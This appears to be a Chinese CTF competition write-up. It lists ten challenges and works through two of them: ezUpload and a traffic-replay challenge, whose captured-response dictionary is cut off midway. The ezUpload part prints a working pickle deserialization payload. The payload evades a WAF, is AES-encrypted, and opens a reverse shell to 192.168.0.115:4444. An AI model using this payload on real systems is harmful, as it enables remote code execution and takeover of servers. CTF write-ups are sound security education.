目
录
01 |
ezUpload |
02 |
reproduction |
03 |
EzMisc |
04 |
dance |
05 |
easyvm |
06 |
toys |
07 |
和谐 |
08 |
rogue_like |
09 |
FlagBot |
10 |
backdoor |
ezUpload
题目是一个文件加解密系统,探测后发现可以上传TXT文件
尝试随便上传一个内容,发现加密后的内容疑似AES加密后的内容
扫描路由后发现存在hint路由,获取到内容VXBMT2FkX2VuY3I3UHQzZA==,BASE64解密后得到内容UpLOad_encr7Pt3d
进一步探测后,发现解密文件时存在pickle反序列化,因此构造pickle反序列化payload,将AES-ECB加密后的内容上传解密,但是存在WAF拦截,盲测后发现过滤内容如下:
if b'R' in data or b'i' in data or b'b' in data or b'o' in data or b'curl' in data or b'flag' in data or b'system' in data or b' ' in data:
构造反弹Shell的payload:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import pickle
import base64
def encrypt_data(data):
key = b'UpLOad_encr7Pt3d'
cipher = AES.new(key, AES.MODE_ECB)
padded_data = pad(data, AES.block_size)
encrypted_data = cipher.encrypt(padded_data)
return base64.b64encode(encrypted_data).decode('utf-8')
payload = b'''V__u0062uu0069ltu0069n__
Vmap
x93p0
0(]Vu0069mpu006Frtu0020su006Fcket,suu0062pru006Fcess,u006Fs;s=su006Fcket.su006Fcket(su006Fcket.AF_INET,su006Fcket.SOCK_STu0052EAM);s.cu006Fnnect(("192.168.0.115",4444));u006Fs.dup2(s.fu0069lenu006F(),0);u006Fs.dup2(s.fu0069lenu006F(),1);u006Fs.dup2(s.fu0069lenu006F(),2);p=suu0062pru006Fcess.call(["/u0062u0069n/sh","-u0069"]);
ap1
0((V__u0062uu0069ltu0069n__
Vexec
x93g1
tp2
0(g0
g2
x81tp3
0V__u0062uu0069ltu0069n__
Vu0062ytes
x93p4
g3
x81.'''
print(encrypt_data(payload))
将生成的payload用TXT文本保存,上传文件解密,反弹Shell,成功获取服务器权限
reproduction
打开流量包,过流http
请求流量
观察可以得出流量内容为对一个服务器的接口进行大量的请求
发送的请求包含position
、hash
两个字段
服务器返回分为500
、200
、400
三种响应
再根据流量包分析可以得出这些流量包是在进行类似盲注的操作,返回200
响应码后position
会+1进行下一轮注入
exe进行了加壳处理无法直接分析盲注逻辑,考虑根据流量包中请求与响应构造模拟客户端,再使用client.exe
对模拟客户端进行测试得到flag
先提取请求与响应:
D:Wiresharktshark.exe -r testflag.pcapng -Y "http" -T fields -e urlencoded-form.value -e http.response.code> output.txt
运行处理数据脚本前先批量替换制表符为空
处理数据脚本:
def read_and_process_file(file_path):
result_dict = []
with open(file_path, 'r') as file:
lines = file.readlines()
for i in range(0, len(lines), 2):
# 确保有两行可以读取
if i + 1 < len(lines):
key_line = lines[i].strip() # 去除首尾空白字符
value_line = lines[i + 1].strip()
pos = key_line.split(',')[0].strip()
# 截取第一行逗号后的内容作为key
key = key_line.split(',')[-1].strip()
# 将处理后的key和value添加到字典中
result_dict.append({pos:{key:value_line}})
return result_dict
# 假设你的文件路径是 'your_file.txt'
file_path = 'output.txt'
result = read_and_process_file(file_path)
print(result)
编写一个模拟服务端
from flask import Flask, request, jsonify
app = Flask(__name__)
# 定义一个字典,用于存储传入值和对应的响应
response_list = [{'0': {'0167400eef2f00e5dafd7644fb3e3d6d': '500'}}, {'0': {'b83b1916ca1cc17552e24ee98cd4518c': '500'}}, {'0': {'cec5d1f92cef379ce26c8e357c4ceb70': '500'}}, {'0': {'df06be27f001e1ccc23b6bac62b76bb8': '500'}}, {'0': {'cf9a2ec2ed360217d8d972da9a73b4b1': '500'}}, {'0': {'06adf343c2d384a7331f00c0c55809ed': '500'}}, {'0': {'6699773c1e813784c53844e1c26b1733': '500'}}, {'0': {'0ce48ad5c646c116691c4451c17dc5a1': '500'}}, {'0': {'6a9a485d4030f9b5558a0c8deb8f77af': '500'}}, {'0': {'0bcb6ffbec5cc87e21cf2139f88e9925': '500'}}, {'0': {'b1c44d950c13191a3808ec76213e2d24': '500'}}, {'0': {'673c781b6772ab7a23674f36593a1ac1': '500'}}, {'0': {'113d16862ee604a9811551bce0c7c490': '500'}}, {'0': {'99b87df1c1386e3f86ba7971c041d933': '500'}}, {'0': {'062352b5435df2f54d41597ad44cf13e': ''}}, {'200': {'200': ''}}, {'200': {'200': '500'}}, {'0': {'c855c482bf3d5954b6a997127ec1ee94': '500'}}, {'0': {'401cd362359df071260aebf71836d52b': '500'}}, {'0': {'6ec38b6e5e2e62e31015956780cdc5b6': '500'}}, {'0': {'693325d01d8f376c0aa59f2438cd147a': '500'}}, {'0': {'deacdfd6851d72a267f180c269b2578f': '500'}}, {'0': {'efe115fd1235940252113df4a7d00aee': '500'}}, {'0': {'ad8a6adb2196e0e432eda120700a6022': '500'}}, {'0': {'208530224471663cf2a7ad02a80db28d': '500'}}, {'0': {'dadefb8dfc6e229f6a0a4d11e5431085': '500'}}, {'0': {'46db23c2b2efe7f8e7d9ffe4605a4660': '500'}}, {'0': {'b1d18a2f5b6a982883c6728591ca752a': '500'}}, {'0': {'327acfe04c2bdf06fe182c051336fe42': '500'}}, {'0': {'749390ecd8fdb526a21d403c336ff76f': '500'}}, {'0': {'2c59fd9ba8b44eb106bac9379ba8c18e': '500'}}, {'0': {'80ba28c5abee89abe7825b24752c883f': '500'}}, {'0': {'b26e9898be9447069a85d8ee418df985': '500'}}, {'0': {'603d46455bd3c1bfce2f3d1f40006c62': '500'}}, {'0': {'c8e5b12d8205221fcb57700553bc6d1d': '500'}}, {'0': {'5a238d0dbd74be271e70e08697883883': '500'}}, {'0': {'c47e93d8ce347680897b9f8d1e655b3d': '500'}}, {'0': {'ccdc1766c84f74d7376ebc9f13955f15': '500'}}, {'0': {'a79d5e01ceac580f13f98297b25ecfa1': '500'}}, {'0': {'992793ddb406269517ee56b718bd852b': '500'}}, {'0': {'84f0a181277bb584aefccc95c53893eb': '500'}}, {'0': {'b83e7bc066b27a266623ea242c5e97c1': '500'}}, {'0': {'2fb84163fd57517d8c634e24c181185a': '500'}}, {'0': {'9655f71fd39678ecc73b0acd330e1908': '500'}}, {'0': {'625e9ecb22a9e3ef846c944d2eb51482': '500'}}, {'0': {'9732a8c1ee2ac5726d4efa6632c09cf9': '500'}}, {'0': {'a3d278f45936108fb619ddb9a73ee8c0': '500'}}, {'0': {'f288472b37fa6381d1d5df2cc959f7cb': '500'}}, {'0': {'0b4d74254115d12b728a1fa0a02e0b8e': '500'}}, {'0': {'656f0488186619a3078e62362f0ff59a': '500'}}, {'0': {'3fdb45b2c4193be94868dc8937aeaf37': '500'}}, {'0': {'3a008667c35e6d0607999e594a7dc71a': '500'}}, {'0': {'e0b606e18b2ff6699d30a7410fb24e8b': '500'}}, {'0': {'276d47ce4b20547a22b0b830ef12c6da': '500'}}, {'0': {'cc32aa298a593c85f5df37d10b2e8962': '500'}}, {'0': {'d002659ed9981d5b434fc1de217299ac': '500'}}, {'0': {'2d61b93a6ef76fca313e455b7651d7b3': '500'}}, {'0': {'8fa33c27bed861319c6f6830414c3d6b': '500'}}, {'0': {'965f42b413681152fff54b5680495846': '500'}}, {'0': {'dd5b5cd51050f4318304ab8a2550f0cc': '500'}}, {'0': {'bed5ba395b238c44d19e6334cdb17f2d': '500'}}, {'0': {'e3d0fa9cca0de20a4e98e079dd7c3069': '500'}}, {'0': {'0880a32e51e1523b61cb60bacdd22d5f': '500'}}, {'0': {'caf345e43a3a4c99b71a8e5a67accb9e': '500'}}, {'0': {'9633b2b0980d5a88a9ca4a18a7c546a7': '500'}}, {'0': {'09266dcc374f31e877a68697be029f96': '500'}}, {'0': {'af7e0c2721a40aae5782d8a15db52767': '500'}}, {'0': {'dde65aa3955c81ebb5773bb87b56acf2': '500'}}, {'0': {'4f2855d8ca0bc9e5fe44f692defecfa0': '500'}}, {'0': {'26ce223ba04a328330a2b38732d67400': '500'}}, {'0': {'5a3409411227c567de7cb8e6d86d7cb4': '500'}}, {'0': {'b89925ff880378f12864cc58202579af': '500'}}, {'0': {'f7cbfbc7ec5bbc2d56d8d1f50f46018e': '200'}}, {'1': {'0167400eef2f00e5dafd7644fb3e3d6d': '500'}}, {'1': {'b83b1916ca1cc17552e24ee98cd4518c': '500'}}, {'1': {'cec5d1f92cef379ce26c8e357c4ceb70': '500'}}, {'1': {'df06be27f001e1ccc23b6bac62b76bb8': '500'}}, {'1': {'cf9a2ec2ed360217d8d972da9a73b4b1': '500'}}, {'1': {'06adf343c2d384a7331f00c0c55809ed': '500'}}, {'1': {'6699773c1e813784c53844e1c26b1733': '500'}}, {'1': {'0ce48ad5c646c116691c4451c17dc5a1': '500'}}, {'1': {'6a9a485d4030f9b5558a0c8deb8f77af': '500'}}, {'1': {'0bcb6ffbec5cc87e21cf2139f88e9925': '500'}}, {'1': {'b1c44d950c13191a3808ec76213e2d24': '500'}}, {'1': {'673c781b6772ab7a23674f36593a1ac1': '500'}}, {'1': {'113d16862ee604a9811551bce0c7c490': '500'}}, {'1': {'99b87df1c1386e3f86ba7971c041d933': '500'}}, {'1': {'062352b5435df2f54d41597ad44cf13e': '500'}}, {'1': {'c855c482bf3d5954b6a997127ec1ee94': '500'}}, {'1': {'401cd362359df071260aebf71836d52b': '500'}}, {'1': {'6ec38b6e5e2e62e31015956780cdc5b6': '500'}}, {'1': {'693325d01d8f376c0aa59f2438cd147a': '500'}}, {'1': {'deacdfd6851d72a267f180c269b2578f': '500'}}, {'1': {'efe115fd1235940252113df4a7d00aee': '500'}}, {'1': {'ad8a6adb2196e0e432eda120700a6022': '500'}}, {'1': {'208530224471663cf2a7ad02a80db28d': '500'}}, {'1': {'dadefb8dfc6e229f6a0a4d11e5431085': '500'}}, {'1': {'46db23c2b2efe7f8e7d9ffe4605a4660': '500'}}, {'1': {'b1d18a2f5b6a982883c6728591ca752a': '500'}}, {'1': {'327acfe04c2bdf06fe182c051336fe42': '500'}}, {'1': {'749390ecd8fdb526a21d403c336ff76f': '500'}}, {'1': {'2c59fd9ba8b44eb106bac9379ba8c18e': '500'}}, {'1': {'80ba28c5abee89abe7825b24752c883f': '500'}}, {'1': {'b26e9898be9447069a85d8ee418df985': '500'}}, {'1': {'603d46455bd3c1bfce2f3d1f40006c62': '500'}}, {'1': {'c8e5b12d8205221fcb57700553bc6d1d': '500'}}, {'1': {'5a238d0dbd74be271e70e08697883883': '500'}}, {'1': {'c47e93d8ce347680897b9f8d1e655b3d': '500'}}, {'1': {'ccdc1766c84f74d7376ebc9f13955f15': '500'}}, {'1': {'a79d5e01ceac580f13f98297b25ecfa1': '500'}}, {'1': {'992793ddb406269517ee56b718bd852b': '500'}}, {'1': {'84f0a181277bb584aefccc95c53893eb': '500'}}, {'1': {'b83e7bc066b27a266623ea242c5e97c1': '500'}}, {'1': {'2fb84163fd57517d8c634e24c181185a': '500'}}, {'1': {'9655f71fd39678ecc73b0acd330e1908': '500'}}, {'1': {'625e9ecb22a9e3ef846c944d2eb51482': '500'}}, {'1': {'9732a8c1ee2ac5726d4efa6632c09cf9': '500'}}, {'1': {'a3d278f45936108fb619ddb9a73ee8c0': '500'}}, {'1': {'f288472b37fa6381d1d5df2cc959f7cb': '500'}}, {'1': {'0b4d74254115d12b728a1fa0a02e0b8e': '500'}}, {'1': {'656f0488186619a3078e62362f0ff59a': '500'}}, {'1': {'3fdb45b2c4193be94868dc8937aeaf37': '500'}}, {'1': {'3a008667c35e6d0607999e594a7dc71a': '500'}}, {'1': {'e0b606e18b2ff6699d30a7410fb24e8b': '500'}}, {'1': {'276d47ce4b20547a22b0b830ef12c6da': '500'}}, {'1': {'cc32aa298a593c85f5df37d10b2e8962': '500'}}, {'1': {'d002659ed9981d5b434fc1de217299ac': '500'}}, {'1': {'2d61b93a6ef76fca313e455b7651d7b3': '500'}}, {'1': {'8fa33c27bed861319c6f6830414c3d6b': '500'}}, {'1': {'965f42b413681152fff54b5680495846': '500'}}, {'1': {'dd5b5cd51050f4318304ab8a2550f0cc': '500'}}, {'1': {'bed5ba395b238c44d19e6334cdb17f2d': '500'}}, {'1': {'e3d0fa9cca0de20a4e98e079dd7c3069': '500'}}, {'1': {'0880a32e51e1523b61cb60bacdd22d5f': '500'}}, {'1': {'caf345e43a3a4c99b71a8e5a67accb9e': '500'}}, {'1': {'9633b2b0980d5a88a9ca4a18a7c546a7': '500'}}, {'1': {'09266dcc374f31e877a68697be029f96': '500'}}, {'1': {'af7e0c2721a40aae5782d8a15db52767': '500'}}, {'1': {'dde65aa3955c81ebb5773bb87b56acf2': '500'}}, {'1': {'4f2855d8ca0bc9e5fe44f692defecfa0': '500'}}, {'1': {'26ce223ba04a328330a2b38732d67400': '500'}}, {'1': {'5a3409411227c567de7cb8e6d86d7cb4': '500'}}, {'1': {'b89925ff880378f12864cc58202579af': '500'}}, {'1': {'f7cbfbc7ec5bbc2d56d8d1f50f46018e': '500'}}, {'1': {'719aa677366a11a13d6e0fab7fa94126': '500'}}, {'1': {'acbd15e5a36e317de9d853bf24f892a6': '500'}}, {'1': {'1935c0d84acb890657ceb7749ff30a84': '500'}}, {'1': {'5b0b3aabf1f8130ff2fc2a5d9a154b3f': '500'}}, {'1': {'1b677e57e5b420ed45c45245060500b2': '500'}}, {'1': {'efa87c138fd8a74ceafb49415140a5a9': '200'}}, {'2': {'0167400eef2f00e5dafd7644fb3e3d6d': '500'}}, {'2': {'b83b1916ca1cc17552e24ee98cd4518c': '500'}}, {'2': {'cec5d1f92cef379ce26c8e357c4ceb70': ''}}, {'200': {'200': ''}}, {'200': {'200': '500'}}, {'2': {'df06be27f001e1ccc23b6bac62b76bb8': '500'}}, {'2': {'cf9a2ec2ed360217d8d972da9a73b4b1': '500'}}, {'2': {'06adf343c2d384a7331f00c0c55809ed': '500'}}, {'2': {'6699773c1e813784c53844e1c26b1733': '500'}}, {'2': {'0ce48ad5c646c116691c4451c17dc5a1': '500'}}, {'2': {'6a9a485d4030f9b5558a0c8deb8f77af': '500'}}, {'2': {'0bcb6ffbec5cc87e21cf2139f88e9925': '500'}}, {'2': {'b1c44d950c13191a3808ec76213e2d24': '500'}}, {'2': {'673c781b6772ab7a23674f36593a1ac1': '500'}}, {'2': {'113d16862ee604a9811551bce0c7c490': '500'}}, {'2': {'99b87df1c1386e3f86ba7971c041d933': '500'}}, {'2': {'062352b5435df2f54d41597ad44cf13e': '500'}}, {'2': {'c855c482bf3d5954b6a997127ec1ee94': '500'}}, {'2': {'401cd362359df071260aebf71836d52b': '500'}}, {'2': {'6ec38b6e5e2e62e31015956780cdc5b6': '500'}}, {'2': {'693325d01d8f376c0aa59f2438cd147a': '500'}}, {'2': {'deacdfd6851d72a267f180c269b2578f': '500'}}, {'2': {'efe115fd1235940252113df4a7d00aee': '500'}}, {'2': {'ad8a6adb2196e0e432eda120700a6022': '500'}}, {'2': {'208530224471663cf2a7ad02a80db28d': '500'}}, {'2': {'dadefb8dfc6e229f6a0a4d11e5431085': '500'}}, {'2': {'46db23c2b2efe7f8e7d9ffe4605a4660': '500'}}, {'2': {'b1d18a2f5b6a982883c6728591ca752a': '500'}}, {'2': {'327acfe04c2bdf06fe182c051336fe42': '500'}}, {'2': {'749390ecd8fdb526a21d403c336ff76f': '500'}}, {'2': {'2c59fd9ba8b44eb106bac9379ba8c18e': '500'}}, {'2': {'80ba28c5abee89abe7825b24752c883f': '500'}}, {'2': {'b26e9898be9447069a85d8ee418df985': '500'}}, {'2': {'603d46455bd3c1bfce2f3d1f40006c62': '500'}}, {'2': {'c8e5b12d8205221fcb57700553bc6d1d': '500'}}, {'2': {'5a238d0dbd74be271e70e08697883883': '500'}}, {'2': {'c47e93d8ce347680897b9f8d1e655b3d': '500'}}, {'2': {'ccdc1766c84f74d7376ebc9f13955f15': '500'}}, {'2': {'a79d5e01ceac580f13f98297b25ecfa1': '500'}}, {'2': {'992793ddb406269517ee56b718bd852b': '500'}}, {'2': {'84f0a181277bb584aefccc95c53893eb': '500'}}, {'2': {'b83e7bc066b27a266623ea242c5e97c1': '500'}}, {'2': {'2fb84163fd57517d8c634e24c181185a': '500'}}, {'2': {'9655f71fd39678ecc73b0acd330e1908': '500'}}, {'2': {'625e9ecb22a9e3ef846c944d2eb51482': '500'}}, {'2': {'9732a8c1ee2ac5726d4efa6632c09cf9': '500'}}, {'2': {'a3d278f45936108fb619ddb9a73ee8c0': '500'}}, {'2': {'f288472b37fa6381d1d5df2cc959f7cb': '500'}}, {'2': {'0b4d74254115d12b728a1fa0a02e0b8e': '500'}}, {'2': {'656f0488186619a3078e62362f0ff59a': '500'}}, {'2': {'3fdb45b2c4193be94868dc8937aeaf37': '500'}}, {'2': {'3a008667c35e6d0607999e594a7dc71a': '500'}}, {'2': {'e0b606e18b2ff6699d30a7410fb24e8b': '500'}}, {'2': {'276d47ce4b20547a22b0b830ef12c6da': '500'}}, {'2': {'cc32aa298a593c85f5df37d10b2e8962': '500'}}, {'2': {'d002659ed9981d5b434fc1de217299ac': '500'}}, {'2': {'2d61b93a6ef76fca313e455b7651d7b3': '500'}}, {'2': {'8fa33c27bed861319c6f6830414c3d6b': '500'}}, {'2': {'965f42b413681152fff54b5680495846': '500'}}, {'2': {'dd5b5cd51050f4318304ab8a2550f0cc': '500'}}, {'2': {'bed5ba395b238c44d19e6334cdb17f2d': '500'}}, {'2': {'e3d0fa9cca0de20a4e98e079dd7c3069': '500'}}, {'2': {'0880a32e51e1523b61cb60bacdd22d5f': '500'}}, {'2': {'caf345e43a3a4c99b71a8e5a67accb9e': '500'}}, {'2': {'9633b2b0980d5a88a9ca4a18a7c546a7': '500'}}, {'2': {'09266dcc374f31e877a68697be029f96': '500'}}, {'2': {'af7e0c2721a40aae5782d8a15db52767': '500'}}, {'2': {'dde65aa3955c81ebb5773bb87b56acf2': '200'}}, {'3': {'0167400eef2f00e5dafd7644fb3e3d6d': '500'}}, {'3': {'b83b1916ca1cc17552e24ee98cd4518c': '500'}}, {'3': {'cec5d1f92cef379ce26c8e357c4ceb70': '500'}}, {'3': {'df06be27f001e1ccc23b6bac62b76bb8': '500'}}, {'3': {'cf9a2ec2ed360217d8d972da9a73b4b1': '500'}}, {'3': {'06adf343c2d384a7331f00c0c55809ed': '500'}}, {'3': {'6699773c1e813784c53844e1c26b1733': '500'}}, {'3': {'0ce48ad5c646c116691c4451c17dc5a1': '500'}}, {'3': {'6a9a485d4030f9b5558a0c8deb8f77af': '500'}}, {'3': {'0bcb6ffbec5cc87e21cf2139f88e9925': '500'}}, {'3': {'b1c44d950c13191a3808ec76213e2d24': '500'}}, {'3': {'673c781b6772ab7a23674f36593a1ac1': '500'}}, {'3': {'113d16862ee604a9811551bce0c7c490': '500'}}, {'3': {'99b87df1c1386e3f86ba7971c041d933': '500'}}, {'3': {'062352b5435df2f54d41597ad44cf13e': '500'}}, {'3': {'c855c482bf3d5954b6a997127ec1ee94': '500'}}, {'3': {'401cd362359df071260aebf71836d52b': '500'}}, {'3': {'6ec38b6e5e2e62e31015956780cdc5b6': '500'}}, {'3': {'693325d01d8f376c0aa59f2438cd147a': '500'}}, {'3': {'deacdfd6851d72a267f180c269b2578f': '500'}}, {'3': {'efe115fd1235940252113df4a7d00aee': '500'}}, {'3': {'ad8a6adb2196e0e432eda120700a6022': '500'}}, {'3': {'208530224471663cf2a7ad02a80db28d': '500'}}, {'3': {'dadefb8dfc6e229f6a0a4d11e5431085': '500'}}, {'3': {'46db23c2b2efe7f8e7d9ffe4605a4660': '500'}}, {'3': {'b1d18a2f5b6a982883c6728591ca752a': '500'}}, {'3': {'327acfe04c2bdf06fe182c051336fe42': '500'}}, {'3': {'749390ecd8fdb526a21d403c336ff76f': '500'}}, {'3': {'2c59fd9ba8b44eb106bac9379ba8c18e': '500'}}, {'3': {'80ba28c5abee89abe7825b24752c883f': '500'}}, {'3': {'b26e9898be9447069a85d8ee418df985': '500'}}, {'3': {'603d46455bd3c1bfce2f3d1f40006c62': '500'}}, {'3': {'c8e5b12d8205221fcb57700553bc6d1d': '500'}}, {'3': {'5a238d0dbd74be271e70e08697883883': '500'}}, {'3': {'c47e93d8ce347680897b9f8d1e655b3d': '500'}}, {'3': {'ccdc1766c84f74d7376ebc9f13955f15': '500'}}, {'3': {'a79d5e01ceac580f13f98297b25ecfa1': '500'}}, {'3': {'992793ddb406269517ee56b718bd852b': '500'}}, {'3': {'84f0a181277bb584aefccc95c53893eb': '500'}}, {'3': {'b83e7bc066b27a266623ea242c5e97c1': '500'}}, {'3': {'2fb84163fd57517d8c634e24c181185a': '500'}}, {'3': {'9655f71fd39678ecc73b0acd330e1908': '500'}}, {'3': {'625e9ecb22a9e3ef846c944d2eb51482': '500'}}, {'3': {'9732a8c1ee2ac5726d4efa6632c09cf9': '500'}}, {'3': {'a3d278f45936108fb619ddb9a73ee8c0': '500'}}, {'3': {'f288472b37fa6381d1d5df2cc959f7cb': '500'}}, {'3': {'0b4d74254115d12b728a1fa0a02e0b8e': '500'}}, {'3': {'656f0488186619a3078e62362f0ff59a': '500'}}, {'3': {'3fdb45b2c4193be94868dc8937aeaf37': '500'}}, {'3': {'3a008667c35e6d0607999e594a7dc71a': '500'}}, {'3': {'e0b606e18b2ff6699d30a7410fb24e8b': '500'}}, {'3': {'276d47ce4b20547a22b0b830ef12c6da': '500'}}, {'3': {'cc32aa298a593c85f5df37d10b2e8962': '500'}}, {'3': {'d002659ed9981d5b434fc1de217299ac': '500'}}, {'3': {'2d61b93a6ef76fca313e455b7651d7b3': '500'}}, {'3': {'8fa33c27bed861319c6f6830414c3d6b': '500'}}, {'3': {'965f42b413681152fff54b5680495846': '500'}}, {'3': {'dd5b5cd51050f4318304ab8a2550f0cc': '500'}}, {'3': {'bed5ba395b238c44d19e6334cdb17f2d': '500'}}, {'3': {'e3d0fa9cca0de20a4e98e079dd7c3069': '500'}}, {'3': {'0880a32e51e1523b61cb60bacdd22d5f': '500'}}, {'3': {'caf345e43a3a4c99b71a8e5a67accb9e': '500'}}, {'3': {'9633b2b0980d5a88a9ca4a18a7c546a7': '500'}}, {'3': {'09266dcc374f31e877a68697be029f96': '500'}}, {'3': {'af7e0c2721a40aae5782d8a15db52767': '500'}}, {'3': {'dde65aa3955c81ebb5773bb87b56acf2': '500'}}, {'3': {'4f2855d8ca0bc9e5fe44f692defecfa0': '500'}}, {'3': {'26ce223ba04a328330a2b38732d67400': '500'}}, {'3': {'5a3409411227c567de7cb8e6d86d7cb4': '500'}}, {'3': {'b89925ff880378f12864cc58202579af': '500'}}, {'3': {'f7cbfbc7ec5bbc2d56d8d1f50f46018e': '500'}}, {'3': {'719aa677366a11a13d6e0fab7fa94126': '200'}}, {'4': {'0167400eef2f00e5dafd7644fb3e3d6d': ''}}, {'200': {'200': ''}}, {'200': {'200': '500'}}, {'4': {'b83b1916ca1cc17552e24ee98cd4518c': '500'}}, {'4': {'cec5d1f92cef379ce26c8e357c4ceb70': '500'}}, {'4': {'df06be27f001e1ccc23b6bac62b76bb8': '500'}}, {'4': {'cf9a2ec2ed360217d8d972da9a73b4b1': '500'}}, {'4': {'06adf343c2d384a7331f00c0c55809ed': '500'}}, {'4': {'6699773c1e813784c53844e1c26b1733': '500'}}, {'4': {'0ce48ad5c646c116691c4451c17dc5a1': '500'}}, {'4': {'6a9a485d4030f9b5558a0c8deb8f77af': '500'}}, {'4': {'0bcb6ffbec5cc87e21cf2139f88e9925': '500'}}, {'4': {'b1c44d950c13191a3808ec76213e2d24': '500'}}, {'4': {'673c781b6772ab7a23674f36593a1ac1': '500'}}, {'4': {'113d16862ee604a9811551bce0c7c490': '500'}}, {'4': {'99b87df1c1386e3f86ba7971c041d933': '500'}}, {'4': {'062352b5435df2f54d41597ad44cf13e': '500'}}, {'4': {'c855c482bf3d5954b6a997127ec1ee94': '500'}}, {'4': {'401cd362359df071260aebf71836d52b': '500'}}, {'4': {'6ec38b6e5e2e62e31015956780cdc5b6': '500'}}, {'4': {'693325d01d8f376c0aa59f2438cd147a': '500'}}, {'4': {'deacdfd6851d72a267f180c269b2578f': '500'}}, {'4': {'efe115fd1235940252113df4a7d00aee': '500'}}, {'4': {'ad8a6adb2196e0e432eda120700a6022': '500'}}, {'4': {'208530224471663cf2a7ad02a80db28d': '500'}}, {'4': {'dadefb8dfc6e229f6a0a4d11e5431085': '500'}}, {'4': {'46db23c2b2efe7f8e7d9ffe4605a4660': '500'}}, {'4': {'b1d18a2f5b6a982883c6728591ca752a': '500'}}, {'4': {'327acfe04c2bdf06fe182c051336fe42': '500'}}, {'4': {'749390ecd8fdb526a21d403c336ff76f': '500'}}, {'4': {'2c59fd9ba8b44eb106bac9379ba8c18e': '500'}}, {'4': {'80ba28c5abee89abe7825b24752c883f': '500'}}, {'4': {'b26e9898be9447069a85d8ee418df985': '500'}}, {'4': {'603d46455bd3c1bfce2f3d1f40006c62': '500'}}, {'4': {'c8e5b12d8205221fcb57700553bc6d1d': '500'}}, {'4': {'5a238d0dbd74be271e70e08697883883': '500'}}, {'4': {'c47e93d8ce347680897b9f8d1e655b3d': '500'}}, {'4': {'ccdc1766c84f74d7376ebc9f13955f15': '500'}}, {'4': {'a79d5e01ceac580f13f98297b25ecfa1': '500'}}, {'4': {'992793ddb406269517ee56b718bd852b': '500'}}, {'4': {'84f0a181277bb584aefccc95c53893eb': '500'}}, {'4': {'b83e7bc066b27a266623ea242c5e97c1': '500'}}, {'4': {'2fb84163fd57517d8c634e24c181185a': '500'}}, {'4': {'9655f71fd39678ecc73b0acd330e1908': '500'}}, {'4': {'625e9ecb22a9e3ef846c944d2eb51482': '500'}}, {'4': {'9732a8c1ee2ac5726d4efa6632c09cf9': '500'}}, {'4': {'a3d278f45936108fb619ddb9a73ee8c0': '500'}}, {'4': {'f288472b37fa6381d1d5df2cc959f7cb': '500'}}, {'4': {'0b4d74254115d12b728a1fa0a02e0b8e': '500'}}, {'4': {'656f0488186619a3078e62362f0ff59a': '500'}}, {'4': {'3fdb45b2c4193be94868dc8937aeaf37': '500'}}, {'4': {'3a008667c35e6d0607999e594a7dc71a': '500'}}, {'4': {'e0b606e18b2ff6699d30a7410fb24e8b': '500'}}, {'4': {'276d47ce4b20547a22b0b830ef12c6da': '500'}}, {'4': {'cc32aa298a593c85f5df37d10b2e8962': '500'}}, {'4': {'d002659ed9981d5b434fc1de217299ac': '500'}}, {'4': {'2d61b93a6ef76fca313e455b7651d7b3': '500'}}, {'4': {'8fa33c27bed861319c6f6830414c3d6b': '500'}}, {'4': {'965f42b413681152fff54b5680495846': '500'}}, {'4': {'dd5b5cd51050f4318304ab8a2550f0cc': '500'}}, {'4': {'bed5ba395b238c44d19e6334cdb17f2d': '500'}}, {'4': {'e3d0fa9cca0de20a4e98e079dd7c3069': '500'}}, {'4': {'0880a32e51e1523b61cb60bacdd22d5f': '500'}}, {'4': {'caf345e43a3a4c99b71a8e5a67accb9e': '500'}}, {'4': {'9633b2b0980d5a88a9ca4a18a7c546a7': '500'}}, {'4': {'09266dcc374f31e877a68697be029f96': '500'}}, {'4': {'af7e0c2721a40aae5782d8a15db52767': '500'}}, {'4': {'dde65aa3955c81ebb5773bb87b56acf2': '500'}}, {'4': {'4f2855d8ca0bc9e5fe44f692defecfa0': '500'}}, {'4': {'26ce223ba04a328330a2b38732d67400': '500'}}, {'4': {'5a3409411227c567de7cb8e6d86d7cb4': '500'}}, {'4': {'b89925ff880378f12864cc58202579af': '500'}}, {'4': {'f7cbfbc7ec5bbc2d56d8d1f50f46018e': '500'}}, {'4': {'719aa677366a11a13d6e0fab7fa94126': '500'}}, {'4': {'acbd15e5a36e317de9d853bf24f892a6': '500'}}, {'4': {'1935c0d84acb890657ceb7749ff30a84': '500'}}, {'4': {'5b0b3aabf1f8130ff2fc2a5d9a154b3f': '500'}}, {'4': {'1b677e57e5b420ed45c45245060500b2': '500'}}, {'4': {'efa87c138fd8a74ceafb49415140a5a9': '500'}}, {'4': {'1c31f3d619908895c04d23a94fb3cdf7': '500'}}, {'4': {'fd4561feb0138817c1940f29c22858db': '500'}}, {'4': {'4816c4bd2975741d6d01a1be192c8bfe': '500'}}, {'4': {'f0c7e4dfc4aaf4fbd9c5ec97c3d041e4': '500'}}, {'4': {'4a78c7229f44396efdc4dcca286c6350': '500'}}, {'4': {'386ff8133c399caa3e00624c52ccbc52': '500'}}, {'4': {'6fdc923c48f7fa5ee4cf9e2b238ea171': '500'}}, {'4': {'fbcee321e49086351a7220aeea572c99': '500'}}, {'4': {'697e250874a271013fa06c87be84d4c5': '500'}}, {'4': {'b906e90c4be2d07fbc1cb13c9f9398b7': '500'}}, {'4': {'68dba9408af41481b762fa7041e9f7d1': '500'}}, {'4': {'1ecc911fe653ab8ce683906b90078ded': '500'}}, {'4': {'9c95feb5fa37f7ed210eb56bda6dc924': '500'}}, {'4': {'d0cba97b871cf2d12c7ad87b7a8d6d14': '500'}}, {'4': {'ed25379f44ac7ced2f0bf43e0bee0bbd': '200'}}, {'5': {'0167400eef2f00e5dafd7644fb3e3d6d': '500'}}, {'5': {'b83b1916ca1cc17552e24ee98cd4518c': '500'}}, {'5': {'cec5d1f92cef379ce26c8e357c4ceb70': '500'}}, {'5': {'df06be27f001e1ccc23b6bac62b76bb8': '500'}}, {'5': {'cf9a2ec2ed360217d8d972da9a73b4b1': '500'}}, {'5': {'06adf343c2d384a7331f00c0c55809ed': '500'}}, {'5': {'6699773c1e813784c53844e1c26b1733': '500'}}, {'5': {'0ce48ad5c646c116691c4451c17dc5a1': '500'}}, {'5': {'6a9a485d4030f9b5558a0c8deb8f77af': '500'}}, {'5': {'0bcb6ffbec5cc87e21cf2139f88e9925': '500'}}, {'5': {'b1c44d950c13191a3808ec76213e2d24': '500'}}, {'5': {'673c781b6772ab7a23674f36593a1ac1': '500'}}, {'5': {'113d16862ee604a9811551bce0c7c490': '500'}}, {'5': {'99b87df1c1386e3f86ba7971c041d933': 